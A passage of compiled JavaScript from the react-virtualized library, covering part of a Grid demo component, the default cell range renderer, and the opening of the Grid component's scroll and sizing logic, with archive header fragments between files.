      }), React.createElement(ContentBoxParagraph, null, "Renders tabular data with virtualization along the vertical and horizontal axes. Row heights and column widths must be calculated ahead of time and specified as a fixed size or returned by a getter function."), React.createElement(ContentBoxParagraph, null, React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Use dynamic row height?",
        className: styles.checkbox,
        type: "checkbox",
        value: useDynamicRowHeight,
        onChange: function onChange(event) {
          return _this2._updateUseDynamicRowHeights(event.target.checked);
        }
      }), "Use dynamic row height?")), React.createElement(InputRow, null, React.createElement(LabeledInput, {
        label: "Num columns",
        name: "columnCount",
        onChange: this._onColumnCountChange,
        value: columnCount
      }), React.createElement(LabeledInput, {
        label: "Num rows",
        name: "rowCount",
        onChange: this._onRowCountChange,
        value: rowCount
      }), React.createElement(LabeledInput, {
        label: "Scroll to column",
        name: "onScrollToColumn",
        placeholder: "Index...",
        onChange: this._onScrollToColumnChange,
        value: scrollToColumn || ''
      }), React.createElement(LabeledInput, {
        label: "Scroll to row",
        name: "onScrollToRow",
        placeholder: "Index...",
        onChange: this._onScrollToRowChange,
        value: scrollToRow || ''
      }), React.createElement(LabeledInput, {
        label: "List height",
        name: "height",
        onChange: function onChange(event) {
          return _this2.setState({
            height: parseInt(event.target.value, 10) || 1
          });
        },
        value: height
      }), React.createElement(LabeledInput, {
        disabled: useDynamicRowHeight,
        label: "Row height",
        name: "rowHeight",
        onChange: function onChange(event) {
          return _this2.setState({
            rowHeight: parseInt(event.target.value, 10) || 1
          });
        },
        value: rowHeight
      }), React.createElement(LabeledInput, {
        label: "Overscan columns",
        name: "overscanColumnCount",
        onChange: function onChange(event) {
          return _this2.setState({
            overscanColumnCount: parseInt(event.target.value, 10) || 0
          });
        },
        value: overscanColumnCount
      }), React.createElement(LabeledInput, {
        label: "Overscan rows",
        name: "overscanRowCount",
        onChange: function onChange(event) {
          return _this2.setState({
            overscanRowCount: parseInt(event.target.value, 10) || 0
          });
        },
        value: overscanRowCount
      })), React.createElement(AutoSizer, {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement(Grid, {
          cellRenderer: _this2._cellRenderer,
          className: styles.BodyGrid,
          columnWidth: _this2._getColumnWidth,
          columnCount: columnCount,
          height: height,
          noContentRenderer: _this2._noContentRenderer,
          overscanColumnCount: overscanColumnCount,
          overscanRowCount: overscanRowCount,
          rowHeight: useDynamicRowHeight ? _this2._getRowHeight : rowHeight,
          rowCount: rowCount,
          scrollToColumn: scrollToColumn,
          scrollToRow: scrollToRow,
          width: width
        });
      }));
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref2) {
      var columnIndex = _ref2.columnIndex,
          key = _ref2.key,
          rowIndex = _ref2.rowIndex,
          style = _ref2.style;

      if (columnIndex === 0) {
        return this._renderLeftSideCell({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      } else {
        return this._renderBodyCell({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }
    }
  }, {
    key: "_getColumnWidth",
    value: function _getColumnWidth(_ref3) {
      var index = _ref3.index;

      switch (index) {
        case 0:
          return 50;

        case 1:
          return 100;

        case 2:
          return 300;

        default:
          return 80;
      }
    }
  }, {
    key: "_getDatum",
    value: function _getDatum(index) {
      var list = this.context.list;
      return list.get(index % list.size);
    }
  }, {
    key: "_getRowClassName",
    value: function _getRowClassName(row) {
      return row % 2 === 0 ? styles.evenRow : styles.oddRow;
    }
  }, {
    key: "_getRowHeight",
    value: function _getRowHeight(_ref4) {
      var index = _ref4.index;
      return this._getDatum(index).size;
    }
  }, {
    key: "_noContentRenderer",
    value: function _noContentRenderer() {
      return React.createElement("div", {
        className: styles.noCells
      }, "No cells");
    }
  }, {
    key: "_renderBodyCell",
    value: function _renderBodyCell(_ref5) {
      var columnIndex = _ref5.columnIndex,
          key = _ref5.key,
          rowIndex = _ref5.rowIndex,
          style = _ref5.style;

      var rowClass = this._getRowClassName(rowIndex);

      var datum = this._getDatum(rowIndex);

      var content;

      switch (columnIndex) {
        case 1:
          content = datum.name;
          break;

        case 2:
          content = datum.random;
          break;

        default:
          content = "r:".concat(rowIndex, ", c:").concat(columnIndex);
          break;
      }

      var classNames = clsx(rowClass, styles.cell, _defineProperty({}, styles.centeredCell, columnIndex > 2));
      return React.createElement("div", {
        className: classNames,
        key: key,
        style: style
      }, content);
    }
  }, {
    key: "_renderLeftSideCell",
    value: function _renderLeftSideCell(_ref6) {
      var key = _ref6.key,
          rowIndex = _ref6.rowIndex,
          style = _ref6.style;

      var datum = this._getDatum(rowIndex);

      var classNames = clsx(styles.cell, styles.letterCell); // Don't modify styles.
      // These are frozen by React now (as of 16.0.0).
      // Since Grid caches and re-uses them, they aren't safe to modify.

      style = _objectSpread({}, style, {
        backgroundColor: datum.color
      });
      return React.createElement("div", {
        className: classNames,
        key: key,
        style: style
      }, datum.name.charAt(0));
    }
  }, {
    key: "_updateUseDynamicRowHeights",
    value: function _updateUseDynamicRowHeights(value) {
      this.setState({
        useDynamicRowHeight: value
      });
    }
  }, {
    key: "_onColumnCountChange",
    value: function _onColumnCountChange(event) {
      var columnCount = parseInt(event.target.value, 10) || 0;
      this.setState({
        columnCount: columnCount
      });
    }
  }, {
    key: "_onRowCountChange",
    value: function _onRowCountChange(event) {
      var rowCount = parseInt(event.target.value, 10) || 0;
      this.setState({
        rowCount: rowCount
      });
    }
  }, {
    key: "_onScrollToColumnChange",
    value: function _onScrollToColumnChange(event) {
      var columnCount = this.state.columnCount;
      var scrollToColumn = Math.min(columnCount - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToColumn)) {
        scrollToColumn = undefined;
      }

      this.setState({
        scrollToColumn: scrollToColumn
      });
    }
  }, {
    key: "_onScrollToRowChange",
    value: function _onScrollToRowChange(event) {
      var rowCount = this.state.rowCount;
      var scrollToRow = Math.min(rowCount - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToRow)) {
        scrollToRow = undefined;
      }

      this.setState({
        scrollToRow: scrollToRow
      });
    }
  }]);

  return GridExample;
}(React.PureComponent);

_defineProperty(GridExample, "contextTypes", {
  list: PropTypes.instanceOf(Immutable.List).isRequired
});

export { GridExample as default };es/Grid/defaultCellRangeRenderer.js000064400000013337151677406000013303 0ustar00/**
 * Default implementation of cellRangeRenderer used by Grid.
 * This renderer supports cell-caching while the user is scrolling.
 */
export default function defaultCellRangeRenderer(_ref) {
  var cellCache = _ref.cellCache,
      cellRenderer = _ref.cellRenderer,
      columnSizeAndPositionManager = _ref.columnSizeAndPositionManager,
      columnStartIndex = _ref.columnStartIndex,
      columnStopIndex = _ref.columnStopIndex,
      deferredMeasurementCache = _ref.deferredMeasurementCache,
      horizontalOffsetAdjustment = _ref.horizontalOffsetAdjustment,
      isScrolling = _ref.isScrolling,
      isScrollingOptOut = _ref.isScrollingOptOut,
      parent = _ref.parent,
      rowSizeAndPositionManager = _ref.rowSizeAndPositionManager,
      rowStartIndex = _ref.rowStartIndex,
      rowStopIndex = _ref.rowStopIndex,
      styleCache = _ref.styleCache,
      verticalOffsetAdjustment = _ref.verticalOffsetAdjustment,
      visibleColumnIndices = _ref.visibleColumnIndices,
      visibleRowIndices = _ref.visibleRowIndices;
  var renderedCells = []; // Browsers have native size limits for elements (eg Chrome 33M pixels, IE 1.5M pixes).
  // User cannot scroll beyond these size limitations.
  // In order to work around this, ScalingCellSizeAndPositionManager compresses offsets.
  // We should never cache styles for compressed offsets though as this can lead to bugs.
  // See issue #576 for more.

  var areOffsetsAdjusted = columnSizeAndPositionManager.areOffsetsAdjusted() || rowSizeAndPositionManager.areOffsetsAdjusted();
  var canCacheStyle = !isScrolling && !areOffsetsAdjusted;

  for (var rowIndex = rowStartIndex; rowIndex <= rowStopIndex; rowIndex++) {
    var rowDatum = rowSizeAndPositionManager.getSizeAndPositionOfCell(rowIndex);

    for (var columnIndex = columnStartIndex; columnIndex <= columnStopIndex; columnIndex++) {
      var columnDatum = columnSizeAndPositionManager.getSizeAndPositionOfCell(columnIndex);
      var isVisible = columnIndex >= visibleColumnIndices.start && columnIndex <= visibleColumnIndices.stop && rowIndex >= visibleRowIndices.start && rowIndex <= visibleRowIndices.stop;
      var key = "".concat(rowIndex, "-").concat(columnIndex);
      var style = void 0; // Cache style objects so shallow-compare doesn't re-render unnecessarily.

      if (canCacheStyle && styleCache[key]) {
        style = styleCache[key];
      } else {
        // In deferred mode, cells will be initially rendered before we know their size.
        // Don't interfere with CellMeasurer's measurements by setting an invalid size.
        if (deferredMeasurementCache && !deferredMeasurementCache.has(rowIndex, columnIndex)) {
          // Position not-yet-measured cells at top/left 0,0,
          // And give them width/height of 'auto' so they can grow larger than the parent Grid if necessary.
          // Positioning them further to the right/bottom influences their measured size.
          style = {
            height: 'auto',
            left: 0,
            position: 'absolute',
            top: 0,
            width: 'auto'
          };
        } else {
          style = {
            height: rowDatum.size,
            left: columnDatum.offset + horizontalOffsetAdjustment,
            position: 'absolute',
            top: rowDatum.offset + verticalOffsetAdjustment,
            width: columnDatum.size
          };
          styleCache[key] = style;
        }
      }

      var cellRendererParams = {
        columnIndex: columnIndex,
        isScrolling: isScrolling,
        isVisible: isVisible,
        key: key,
        parent: parent,
        rowIndex: rowIndex,
        style: style
      };
      var renderedCell = void 0; // Avoid re-creating cells while scrolling.
      // This can lead to the same cell being created many times and can cause performance issues for "heavy" cells.
      // If a scroll is in progress- cache and reuse cells.
      // This cache will be thrown away once scrolling completes.
      // However if we are scaling scroll positions and sizes, we should also avoid caching.
      // This is because the offset changes slightly as scroll position changes and caching leads to stale values.
      // For more info refer to issue #395
      //
      // If isScrollingOptOut is specified, we always cache cells.
      // For more info refer to issue #1028

      if ((isScrollingOptOut || isScrolling) && !horizontalOffsetAdjustment && !verticalOffsetAdjustment) {
        if (!cellCache[key]) {
          cellCache[key] = cellRenderer(cellRendererParams);
        }

        renderedCell = cellCache[key]; // If the user is no longer scrolling, don't cache cells.
        // This makes dynamic cell content difficult for users and would also lead to a heavier memory footprint.
      } else {
        renderedCell = cellRenderer(cellRendererParams);
      }

      if (renderedCell == null || renderedCell === false) {
        continue;
      }

      if (process.env.NODE_ENV !== 'production') {
        warnAboutMissingStyle(parent, renderedCell);
      }

      renderedCells.push(renderedCell);
    }
  }

  return renderedCells;
}

function warnAboutMissingStyle(parent, renderedCell) {
  if (process.env.NODE_ENV !== 'production') {
    if (renderedCell) {
      // If the direct child is a CellMeasurer, then we should check its child
      // See issue #611
      if (renderedCell.type && renderedCell.type.__internalCellMeasurerFlag) {
        renderedCell = renderedCell.props.children;
      }

      if (renderedCell && renderedCell.props && renderedCell.props.style === undefined && parent.__warnedAboutMissingStyle !== true) {
        parent.__warnedAboutMissingStyle = true;
        console.warn('Rendered cell should include style property for positioning.');
      }
    }
  }
}

import { bpfrpt_proptype_CellRangeRendererParams } from "./types";es/Grid/Grid.js000064400000200300151677406000007264 0ustar00import _extends from "@babel/runtime/helpers/extends";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

var _class, _temp;

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import * as React from 'react';
import clsx from 'clsx';
import calculateSizeAndPositionDataAndUpdateScrollOffset from './utils/calculateSizeAndPositionDataAndUpdateScrollOffset';
import ScalingCellSizeAndPositionManager from './utils/ScalingCellSizeAndPositionManager';
import createCallbackMemoizer from '../utils/createCallbackMemoizer';
import defaultOverscanIndicesGetter, { SCROLL_DIRECTION_BACKWARD, SCROLL_DIRECTION_FORWARD } from './defaultOverscanIndicesGetter';
import updateScrollIndexHelper from './utils/updateScrollIndexHelper';
import defaultCellRangeRenderer from './defaultCellRangeRenderer';
import scrollbarSize from 'dom-helpers/scrollbarSize';
import { polyfill } from 'react-lifecycles-compat';
import { requestAnimationTimeout, cancelAnimationTimeout } from '../utils/requestAnimationTimeout';
/**
 * Specifies the number of milliseconds during which to disable pointer events while a scroll is in progress.
 * This improves performance and makes scrolling smoother.
 */

export var DEFAULT_SCROLLING_RESET_TIME_INTERVAL = 150;
/**
 * Controls whether the Grid updates the DOM element's scrollLeft/scrollTop based on the current state or just observes it.
 * This prevents Grid from interrupting mouse-wheel animations (see issue #2).
 */

var SCROLL_POSITION_CHANGE_REASONS = {
  OBSERVED: 'observed',
  REQUESTED: 'requested'
};

var renderNull = function renderNull() {
  return null;
};

/**
 * Renders tabular data with virtualization along the vertical and horizontal axes.
 * Row heights and column widths must be known ahead of time and specified as properties.
 */
var Grid = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(Grid, _React$PureComponent);

  // Invokes onSectionRendered callback only when start/stop row or column indices change
  function Grid(props) {
    var _this;

    _classCallCheck(this, Grid);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(Grid).call(this, props));

    _defineProperty(_assertThisInitialized(_this), "_onGridRenderedMemoizer", createCallbackMemoizer());

    _defineProperty(_assertThisInitialized(_this), "_onScrollMemoizer", createCallbackMemoizer(false));

    _defineProperty(_assertThisInitialized(_this), "_deferredInvalidateColumnIndex", null);

    _defineProperty(_assertThisInitialized(_this), "_deferredInvalidateRowIndex", null);

    _defineProperty(_assertThisInitialized(_this), "_recomputeScrollLeftFlag", false);

    _defineProperty(_assertThisInitialized(_this), "_recomputeScrollTopFlag", false);

    _defineProperty(_assertThisInitialized(_this), "_horizontalScrollBarSize", 0);

    _defineProperty(_assertThisInitialized(_this), "_verticalScrollBarSize", 0);

    _defineProperty(_assertThisInitialized(_this), "_scrollbarPresenceChanged", false);

    _defineProperty(_assertThisInitialized(_this), "_scrollingContainer", void 0);

    _defineProperty(_assertThisInitialized(_this), "_childrenToDisplay", void 0);

    _defineProperty(_assertThisInitialized(_this), "_columnStartIndex", void 0);

    _defineProperty(_assertThisInitialized(_this), "_columnStopIndex", void 0);

    _defineProperty(_assertThisInitialized(_this), "_rowStartIndex", void 0);

    _defineProperty(_assertThisInitialized(_this), "_rowStopIndex", void 0);

    _defineProperty(_assertThisInitialized(_this), "_renderedColumnStartIndex", 0);

    _defineProperty(_assertThisInitialized(_this), "_renderedColumnStopIndex", 0);

    _defineProperty(_assertThisInitialized(_this), "_renderedRowStartIndex", 0);

    _defineProperty(_assertThisInitialized(_this), "_renderedRowStopIndex", 0);

    _defineProperty(_assertThisInitialized(_this), "_initialScrollTop", void 0);

    _defineProperty(_assertThisInitialized(_this), "_initialScrollLeft", void 0);

    _defineProperty(_assertThisInitialized(_this), "_disablePointerEventsTimeoutId", void 0);

    _defineProperty(_assertThisInitialized(_this), "_styleCache", {});

    _defineProperty(_assertThisInitialized(_this), "_cellCache", {});

    _defineProperty(_assertThisInitialized(_this), "_debounceScrollEndedCallback", function () {
      _this._disablePointerEventsTimeoutId = null; // isScrolling is used to determine if we reset styleCache

      _this.setState({
        isScrolling: false,
        needToResetStyleCache: false
      });
    });

    _defineProperty(_assertThisInitialized(_this), "_invokeOnGridRenderedHelper", function () {
      var onSectionRendered = _this.props.onSectionRendered;

      _this._onGridRenderedMemoizer({
        callback: onSectionRendered,
        indices: {
          columnOverscanStartIndex: _this._columnStartIndex,
          columnOverscanStopIndex: _this._columnStopIndex,
          columnStartIndex: _this._renderedColumnStartIndex,
          columnStopIndex: _this._renderedColumnStopIndex,
          rowOverscanStartIndex: _this._rowStartIndex,
          rowOverscanStopIndex: _this._rowStopIndex,
          rowStartIndex: _this._renderedRowStartIndex,
          rowStopIndex: _this._renderedRowStopIndex
        }
      });
    });

    _defineProperty(_assertThisInitialized(_this), "_setScrollingContainerRef", function (ref) {
      _this._scrollingContainer = ref;
    });

    _defineProperty(_assertThisInitialized(_this), "_onScroll", function (event) {
      // In certain edge-cases React dispatches an onScroll event with an invalid target.scrollLeft / target.scrollTop.
      // This invalid event can be detected by comparing event.target to this component's scrollable DOM element.
      // See issue #404 for more information.
      if (event.target === _this._scrollingContainer) {
        _this.handleScrollEvent(event.target);
      }
    });

    var columnSizeAndPositionManager = new ScalingCellSizeAndPositionManager({
      cellCount: props.columnCount,
      cellSizeGetter: function cellSizeGetter(params) {
        return Grid._wrapSizeGetter(props.columnWidth)(params);
      },
      estimatedCellSize: Grid._getEstimatedColumnSize(props)
    });
    var rowSizeAndPositionManager = new ScalingCellSizeAndPositionManager({
      cellCount: props.rowCount,
      cellSizeGetter: function cellSizeGetter(params) {
        return Grid._wrapSizeGetter(props.rowHeight)(params);
      },
      estimatedCellSize: Grid._getEstimatedRowSize(props)
    });
    _this.state = {
      instanceProps: {
        columnSizeAndPositionManager: columnSizeAndPositionManager,
        rowSizeAndPositionManager: rowSizeAndPositionManager,
        prevColumnWidth: props.columnWidth,
        prevRowHeight: props.rowHeight,
        prevColumnCount: props.columnCount,
        prevRowCount: props.rowCount,
        prevIsScrolling: props.isScrolling === true,
        prevScrollToColumn: props.scrollToColumn,
        prevScrollToRow: props.scrollToRow,
        scrollbarSize: 0,
        scrollbarSizeMeasured: false
      },
      isScrolling: false,
      scrollDirectionHorizontal: SCROLL_DIRECTION_FORWARD,
      scrollDirectionVertical: SCROLL_DIRECTION_FORWARD,
      scrollLeft: 0,
      scrollTop: 0,
      scrollPositionChangeReason: null,
      needToResetStyleCache: false
    };

    if (props.scrollToRow > 0) {
      _this._initialScrollTop = _this._getCalculatedScrollTop(props, _this.state);
    }

    if (props.scrollToColumn > 0) {
      _this._initialScrollLeft = _this._getCalculatedScrollLeft(props, _this.state);
    }

    return _this;
  }
  /**
   * Gets offsets for a given cell and alignment.
   */


  _createClass(Grid, [{
    key: "getOffsetForCell",
    value: function getOffsetForCell() {
      var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref$alignment = _ref.alignment,
          alignment = _ref$alignment === void 0 ? this.props.scrollToAlignment : _ref$alignment,
          _ref$columnIndex = _ref.columnIndex,
          columnIndex = _ref$columnIndex === void 0 ? this.props.scrollToColumn : _ref$columnIndex,
          _ref$rowIndex = _ref.rowIndex,
          rowIndex = _ref$rowIndex === void 0 ? this.props.scrollToRow : _ref$rowIndex;

      var offsetProps = _objectSpread({}, this.props, {
        scrollToAlignment: alignment,
        scrollToColumn: columnIndex,
        scrollToRow: rowIndex
      });

      return {
        scrollLeft: this._getCalculatedScrollLeft(offsetProps),
        scrollTop: this._getCalculatedScrollTop(offsetProps)
      };
    }
    /**
     * Gets estimated total rows' height.
     */

  }, {
    key: "getTotalRowsHeight",
    value: function getTotalRowsHeight() {
      return this.state.instanceProps.rowSizeAndPositionManager.getTotalSize();
    }
    /**
     * Gets estimated total columns' width.
     */

  }, {
    key: "getTotalColumnsWidth",
    value: function getTotalColumnsWidth() {
      return this.state.instanceProps.columnSizeAndPositionManager.getTotalSize();
    }
    /**
     * This method handles a scroll event originating from an external scroll control.
     * It's an advanced method and should probably not be used unless you're implementing a custom scroll-bar solution.
     */

  }, {
    key: "handleScrollEvent",
    value: function handleScrollEvent(_ref2) {
      var _ref2$scrollLeft = _ref2.scrollLeft,
          scrollLeftParam = _ref2$scrollLeft === void 0 ? 0 : _ref2$scrollLeft,
          _ref2$scrollTop = _ref2.scrollTop,
          scrollTopParam = _ref2$scrollTop === void 0 ? 0 : _ref2$scrollTop;

      // On iOS, we can arrive at negative offsets by swiping past the start.
      // To prevent flicker here, we make playing in the negative offset zone cause nothing to happen.
      if (scrollTopParam < 0) {
        return;
      } // Prevent pointer events from interrupting a smooth scroll


      this._debounceScrollEnded();

      var _this$props = this.props,
          autoHeight = _this$props.autoHeight,
          autoWidth = _this$props.autoWidth,
          height = _this$props.height,
          width = _this$props.width;
      var instanceProps = this.state.instanceProps; // When this component is shrunk drastically, React dispatches a series of back-to-back scroll events,
      // Gradually converging on a scrollTop that is within the bounds of the new, smaller height.
      // This causes a series of rapid renders that is slow for long lists.
      // We can avoid that by doing some simple bounds checking to ensure that scroll offsets never exceed their bounds.

      var scrollbarSize = instanceProps.scrollbarSize;
      var totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize();
      var totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize();
      var scrollLeft = Math.min(Math.max(0, totalColumnsWidth - width + scrollbarSize), scrollLeftParam);
      var scrollTop = Math.min(Math.max(0, totalRowsHeight - height + scrollbarSize), scrollTopParam); // Certain devices (like Apple touchpad) rapid-fire duplicate events.
      // Don't force a re-render if this is the case.
      // The mouse may move faster then the animation frame does.
      // Use requestAnimationFrame to avoid over-updating.

      if (this.state.scrollLeft !== scrollLeft || this.state.scrollTop !== scrollTop) {
        // Track scrolling direction so we can more efficiently overscan rows to reduce empty space around the edges while scrolling.
        // Don't change direction for an axis unless scroll offset has changed.
        var scrollDirectionHorizontal = scrollLeft !== this.state.scrollLeft ? scrollLeft > this.state.scrollLeft ? SCROLL_DIRECTION_FORWARD : SCROLL_DIRECTION_BACKWARD : this.state.scrollDirectionHorizontal;
        var scrollDirectionVertical = scrollTop !== this.state.scrollTop ? scrollTop > this.state.scrollTop ? SCROLL_DIRECTION_FORWARD : SCROLL_DIRECTION_BACKWARD : this.state.scrollDirectionVertical;
        var newState = {
          isScrolling: true,
          scrollDirectionHorizontal: scrollDirectionHorizontal,
          scrollDirectionVertical: scrollDirectionVertical,
          scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS.OBSERVED
        };

        if (!autoHeight) {
          newState.scrollTop = scrollTop;
        }

        if (!autoWidth) {
          newState.scrollLeft = scrollLeft;
        }

        newState.needToResetStyleCache = false;
        this.setState(newState);
      }

      this._invokeOnScrollMemoizer({
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        totalColumnsWidth: totalColumnsWidth,
        totalRowsHeight: totalRowsHeight
      });
    }
    /**
     * Invalidate Grid size and recompute visible cells.
     * This is a deferred wrapper for recomputeGridSize().
     * It sets a flag to be evaluated on cDM/cDU to avoid unnecessary renders.
     * This method is intended for advanced use-cases like CellMeasurer.
     */
    // @TODO (bvaughn) Add automated test coverage for this.

  }, {
    key: "invalidateCellSizeAfterRender",
    value: function invalidateCellSizeAfterRender(_ref3) {
      var columnIndex = _ref3.columnIndex,
          rowIndex = _ref3.rowIndex;
      this._deferredInvalidateColumnIndex = typeof this._deferredInvalidateColumnIndex === 'number' ? Math.min(this._deferredInvalidateColumnIndex, columnIndex) : columnIndex;
      this._deferredInvalidateRowIndex = typeof this._deferredInvalidateRowIndex === 'number' ? Math.min(this._deferredInvalidateRowIndex, rowIndex) : rowIndex;
    }
    /**
     * Pre-measure all columns and rows in a Grid.
     * Typically cells are only measured as needed and estimated sizes are used for cells that have not yet been measured.
     * This method ensures that the next call to getTotalSize() returns an exact size (as opposed to just an estimated one).
     */

  }, {
    key: "measureAllCells",
    value: function measureAllCells() {
      var _this$props2 = this.props,
          columnCount = _this$props2.columnCount,
          rowCount = _this$props2.rowCount;
      var instanceProps = this.state.instanceProps;
      instanceProps.columnSizeAndPositionManager.getSizeAndPositionOfCell(columnCount - 1);
      instanceProps.rowSizeAndPositionManager.getSizeAndPositionOfCell(rowCount - 1);
    }
    /**
     * Forced recompute of row heights and column widths.
     * This function should be called if dynamic column or row sizes have changed but nothing else has.
     * Since Grid only receives :columnCount and :rowCount it has no way of detecting when the underlying data changes.
     */

  }, {
    key: "recomputeGridSize",
    value: function recomputeGridSize() {
      var _ref4 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref4$columnIndex = _ref4.columnIndex,
          columnIndex = _ref4$columnIndex === void 0 ? 0 : _ref4$columnIndex,
          _ref4$rowIndex = _ref4.rowIndex,
          rowIndex = _ref4$rowIndex === void 0 ? 0 : _ref4$rowIndex;

      var _this$props3 = this.props,
          scrollToColumn = _this$props3.scrollToColumn,
          scrollToRow = _this$props3.scrollToRow;
      var instanceProps = this.state.instanceProps;
      instanceProps.columnSizeAndPositionManager.resetCell(columnIndex);
      instanceProps.rowSizeAndPositionManager.resetCell(rowIndex); // Cell sizes may be determined by a function property.
      // In this case the cDU handler can't know if they changed.
      // Store this flag to let the next cDU pass know it needs to recompute the scroll offset.

      this._recomputeScrollLeftFlag = scrollToColumn >= 0 && (this.state.scrollDirectionHorizontal === SCROLL_DIRECTION_FORWARD ? columnIndex <= scrollToColumn : columnIndex >= scrollToColumn);
      this._recomputeScrollTopFlag = scrollToRow >= 0 && (this.state.scrollDirectionVertical === SCROLL_DIRECTION_FORWARD ? rowIndex <= scrollToRow : rowIndex >= scrollToRow); // Clear cell cache in case we are scrolling;
      // Invalid row heights likely mean invalid cached content as well.

      this._styleCache = {};
      this._cellCache = {};
      this.forceUpdate();
    }
    /**
     * Ensure column and row are visible.
     */

  }, {
    key: "scrollToCell",
    value: function scrollToCell(_ref5) {
      var columnIndex = _ref5.columnIndex,
          rowIndex = _ref5.rowIndex;
      var columnCount = this.props.columnCount;
      var props = this.props; // Don't adjust scroll offset for single-column grids (eg List, Table).
      // This can cause a funky scroll offset because of the vertical scrollbar width.

      if (columnCount > 1 && columnIndex !== undefined) {
        this._updateScrollLeftForScrollToColumn(_objectSpread({}, props, {
          scrollToColumn: columnIndex
        }));
      }

      if (rowIndex !== undefined) {
        this._updateScrollTopForScrollToRow(_objectSpread({}, props, {
          scrollToRow: rowIndex
        }));
      }
    }
  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      var _this$props4 = this.props,
          getScrollbarSize = _this$props4.getScrollbarSize,
          height = _this$props4.height,
          scrollLeft = _this$props4.scrollLeft,
          scrollToColumn = _this$props4.scrollToColumn,
          scrollTop = _this$props4.scrollTop,
          scrollToRow = _this$props4.scrollToRow,
          width = _this$props4.width;
      var instanceProps = this.state.instanceProps; // Reset initial offsets to be ignored in browser

      this._initialScrollTop = 0;
      this._initialScrollLeft = 0; // If cell sizes have been invalidated (eg we are using CellMeasurer) then reset cached positions.
      // We must do this at the start of the method as we may calculate and update scroll position below.

      this._handleInvalidatedGridSize(); // If this component was first rendered server-side, scrollbar size will be undefined.
      // In that event we need to remeasure.


      if (!instanceProps.scrollbarSizeMeasured) {
        this.setState(function (prevState) {
          var stateUpdate = _objectSpread({}, prevState, {
            needToResetStyleCache: false
          });

          stateUpdate.instanceProps.scrollbarSize = getScrollbarSize();
          stateUpdate.instanceProps.scrollbarSizeMeasured = true;
          return stateUpdate;
        });
      }

      if (typeof scrollLeft === 'number' && scrollLeft >= 0 || typeof scrollTop === 'number' && scrollTop >= 0) {
        var stateUpdate = Grid._getScrollToPositionStateUpdate({
          prevState: this.state,
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        });

        if (stateUpdate) {
          stateUpdate.needToResetStyleCache = false;
          this.setState(stateUpdate);
        }
      } // refs don't work in `react-test-renderer`


      if (this._scrollingContainer) {
        // setting the ref's scrollLeft and scrollTop.
        // Somehow in MultiGrid the main grid doesn't trigger a update on mount.
        if (this._scrollingContainer.scrollLeft !== this.state.scrollLeft) {
          this._scrollingContainer.scrollLeft = this.state.scrollLeft;
        }

        if (this._scrollingContainer.scrollTop !== this.state.scrollTop) {
          this._scrollingContainer.scrollTop = this.state.scrollTop;
        }
      } // Don't update scroll offset if the size is 0; we don't render any cells in this case.
      // Setting a state may cause us to later thing we've updated the offce when we haven't.


      var sizeIsBiggerThanZero = height > 0 && width > 0;

      if (scrollToColumn >= 0 && sizeIsBiggerThanZero) {
        this._updateScrollLeftForScrollToColumn();
      }

      if (scrollToRow >= 0 && sizeIsBiggerThanZero) {
        this._updateScrollTopForScrollToRow();
      } // Update onRowsRendered callback


      this._invokeOnGridRenderedHelper(); // Initialize onScroll callback


      this._invokeOnScrollMemoizer({
        scrollLeft: scrollLeft || 0,
        scrollTop: scrollTop || 0,
        totalColumnsWidth: instanceProps.columnSizeAndPositionManager.getTotalSize(),
        totalRowsHeight: instanceProps.rowSizeAndPositionManager.getTotalSize()
      });

      this._maybeCallOnScrollbarPresenceChange();
    }
    /**
     * @private
     * This method updates scrollLeft/scrollTop in state for the following conditions:
     * 1) New scroll-to-cell props have been set
     */

  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate(prevProps, prevState) {
      var _this2 = this;

      var _this$props5 = this.props,
          autoHeight = _this$props5.autoHeight,
          autoWidth = _this$props5.autoWidth,
          columnCount = _this$props5.columnCount,
          height = _this$props5.height,
          rowCount = _this$props5.rowCount,
          scrollToAlignment = _this$props5.scrollToAlignment,
          scrollToColumn = _this$props5.scrollToColumn,
          scrollToRow = _this$props5.scrollToRow,
          width = _this$props5.width;
      var _this$state = this.state,
          scrollLeft = _this$state.scrollLeft,
          scrollPositionChangeReason = _this$state.scrollPositionChangeReason,
          scrollTop = _this$state.scrollTop,
          instanceProps = _this$state.instanceProps; // If cell sizes have been invalidated (eg we are using CellMeasurer) then reset cached positions.
      // We must do this at the start of the method as we may calculate and update scroll position below.

